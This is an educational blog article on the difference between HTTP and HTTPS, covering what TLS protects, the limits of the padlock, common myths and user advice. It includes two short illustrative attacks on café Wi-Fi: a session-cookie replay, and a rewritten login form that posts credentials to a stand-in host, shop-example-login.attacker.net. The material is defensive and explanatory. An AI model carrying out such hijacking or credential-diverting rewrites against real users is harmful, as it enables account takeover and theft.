HTTP vs HTTPS: What Every User Should Know

September 12, 2025 · By cryptoke

By cryptoke, developer and editor at SafeLinkWrite. Reviewed for technical accuracy. For URL-based phishing signals specifically, see Phishing Link Patterns.

Two letters separate the safest and least safe parts of the web: http:// versus https://. The difference is invisible to most users, but it determines whether the contents of a page can be modified before they reach the browser. That single character — the "s" — changes not just the confidentiality of the connection but the integrity of everything that travels across it.

This article explains what HTTP and HTTPS actually mean at the transport layer, what each one exposes to third parties on the path, what the padlock does and does not guarantee, and what to check alongside it. The goal is not to persuade anyone that HTTPS is good — that argument was settled years ago. The goal is to give the padlock its correct weight: necessary, but not the last word.

What HTTP and HTTPS Actually Are

HTTP stands for HyperText Transfer Protocol. It is the language browsers and servers use to exchange pages. The original version sent everything in plain text: the URL, the request headers, any form data, and the page contents themselves.

HTTPS wraps that same protocol inside a transport-layer security session — TLS. Before any page data is exchanged, the browser and server perform a short handshake in which they negotiate encryption algorithms, exchange certificates, and agree on keys. From that point forward, the entire exchange is encrypted and authenticated.

It is worth being precise about what TLS provides:

Property HTTP HTTPS (TLS)
Confidentiality in transit None — every hop can read the payload Payload encrypted between browser and server
Integrity in transit None — any hop can rewrite the payload without detection Modifications are detected; connection is refused
Server authentication None — any host can answer as any domain Certificate binds the domain to a key; some certificates also bind to an organization
Request headers visible to network All of them — user agent, cookies, referrer Hostname visible; other headers encrypted
URL path visible to network Yes — full path and query string Encrypted after the handshake; only the hostname leaks
Cookies protected No — transmitted in plain text Yes — as part of the encrypted request

The two rows that matter most are the first two. On HTTP, anyone between the browser and the server can read the request and silently rewrite the response. On HTTPS, neither is possible without detection.

What HTTP Exposes

On the public internet, "plain text" means every router, proxy, and Wi-Fi access point between the browser and the server can read — and rewrite — the data as it passes. This was acceptable in the early 1990s when HTTP was designed for an academic network under a single trust domain. It is not acceptable on a public internet where the number of intermediate networks is not controllable by either party.

Three specific exposures matter in practice:

  1. Session cookies — sent with every request. On HTTP, they are visible to every hop. An attacker who reads one can impersonate the session.
  2. Form submissions — every field ever typed into an HTTP form, including passwords, is readable on the path.
  3. Response bodies — the page itself can be modified before it reaches the browser. An attacker can inject ads, scripts, or fake login prompts into the response without the user noticing.

The third point is often the least understood. On HTTP, an attacker does not need to compromise the server. They only need to sit on the path — a shared Wi-Fi network, a compromised ISP, a hostile middlebox — and the browser will render whatever the attacker chose to inject.

What HTTPS Adds — and What It Does Not

HTTPS guarantees three things: the payload is confidential in transit, the payload cannot be modified without detection, and the certificate proves control of the domain. It does not guarantee:

  • That the operator of the site is honest.
  • That the site will not sell data it collects after decryption.
  • That the site will not redirect the visitor elsewhere after login.
  • That the server side is well-configured — heartbleed-style vulnerabilities existed inside perfectly valid HTTPS sessions.
  • That the content is what it claims to be. Phishing sites obtain certificates as easily as legitimate ones.

The padlock in the address bar indicates that an HTTPS connection has been established. It does not indicate that the site on the other end is trustworthy. Trustworthiness is a separate question, evaluated by reading the domain, the certificate, and the behaviour.

Example: Two Ways an HTTP Session Fails

Consider a café Wi-Fi network. An attacker on the same network is passively sniffing traffic. A visitor loads a page over HTTP.

Failure mode 1 — passive read

[browser]  GET /login HTTP/1.1
           Host: shop.example
           Cookie: sid=47f9a1c2e8
           
[attacker sees]  Host: shop.example
                 Cookie: sid=47f9a1c2e8  ← session token captured
                 
[attacker]  GET /account HTTP/1.1
            Host: shop.example
            Cookie: sid=47f9a1c2e8  ← replays the token
            → authenticated as the victim

The attacker never touched the server. They read the cookie off the wire and reused it. This is called session hijacking, and it requires nothing more than being on the same network.

Failure mode 2 — active rewrite

[server]   <form action="https://shop.example/login">...</form>
           
[attacker intercepts response]
           
[browser]  <form action="https://shop-example-login.attacker.net/">...</form>
           
[visitor submits]
           POST https://shop-example-login.attacker.net/  
           username=victim&password=hunter2
           → credentials delivered to attacker

On HTTP, the attacker can modify the response on the path. The visitor sees a page that looks the same as the real one. The form action — the place credentials are sent — has been rewritten. This attack requires no compromise of the real server, no DNS hijack, and no certificate fraud. It is a passive rewrite on the plain-text channel.

HTTPS closes both. Failure mode 1 becomes unreadable ciphertext. Failure mode 2 becomes a modification that the browser detects and refuses.

What to Look at Alongside the Padlock

Three signals matter more than the padlock itself:

  • The domain. Read it carefully. Look for misspellings, non-Latin characters, and subdomains that imitate the brand they appear to belong to. The padlock says nothing about whether the domain is the one you intended to reach.
  • The certificate details. Clicking the padlock reveals who issued the certificate and to whom. An organization certificate (EV or OV) reflects a real-world identity check. A domain-only certificate (DV) reflects only control of the domain. Both are common; neither guarantees honesty.
  • The behaviour. A site that immediately redirects to another domain after login is worth a second look, even if both are HTTPS. The padlock follows the connection; it does not follow the redirect.

Myths vs Facts

Myth Fact
"The padlock means the site is safe." The padlock is about the connection, not the operator. Phishing sites carry valid HTTPS certificates.
"HTTPS encrypts everything about my visit." The hostname of the destination remains visible on the network. So do IP addresses, timing, and packet sizes. The payload is encrypted; the meta-pattern is not hidden.
"An organization certificate means the site is trustworthy." Organization certificates verify identity, not intent. A malicious company can register its identity as easily as a good one.
"HTTP pages that only display content are fine." On HTTP, content pages can be modified in transit. An attacker can inject ads, scripts, or prompts into the response without touching the server.
"Modern browsers make HTTP safe by warning about it." The warning is a label, not a fix. The protocol is still plain text; the browser simply tells the user.
"If the padlock appears, no one can tell which page I'm reading." The domain is visible to the network. Only the path and query string are encrypted. On shared networks, the destination hostname can still be logged.

The Shift to HTTPS Everywhere

Over the last decade the web has moved overwhelmingly to HTTPS. Major browsers now require HTTPS for many APIs, mark all HTTP pages as insecure, and increasingly block mixed content outright. Free certificate issuance — Let's Encrypt and equivalents — removed the last economic excuse for HTTP-only sites. The result is that an HTTP page is now a signal. A well-maintained site almost never serves HTTP. A site that still does may be abandoned, misconfigured, or deliberately stuck on an outdated stack.

Five Practical Steps

  1. Treat HTTP pages as untrusted for input. Never enter credentials, payment details, or personal information into an HTTP form, regardless of how official the page looks.
  2. Read the domain, not just the padlock. The padlock is the first check. The domain is the one that determines whether the padlock is protecting the site you intended to reach. For URL-level phishing patterns, see the phishing link guide.
  3. Click the padlock when a site is unfamiliar. The certificate details reveal who issued it and when. A certificate issued days ago for a bank lookalike is a red flag.
  4. Watch for mixed content warnings. A page loaded over HTTPS that warns about "insecure content" is loading some resources over HTTP. That subresource can be modified. Avoid submitting data on such pages.
  5. If you operate a site or publish links, serve and link exclusively over HTTPS. A safelink that forwards visitors to an HTTP destination undermines the privacy the intermediate page is meant to provide — the destination exchange becomes plain text again, whatever the wrapper's protocol.

The Broader Picture

HTTPS is the baseline for the modern web. It is necessary because without it nothing else about online safety can be evaluated — the page itself is not guaranteed to be the page the server sent. It is not sufficient because a private connection to a hostile destination is still a hostile destination. The padlock tells you that the channel is intact. The domain, the certificate, and the behaviour tell you whether the channel is worth using. Read the URL, click the padlock, and treat HTTPS as the beginning of the check — because the two letters that protect the connection do not protect the visitor from the site.

Tags: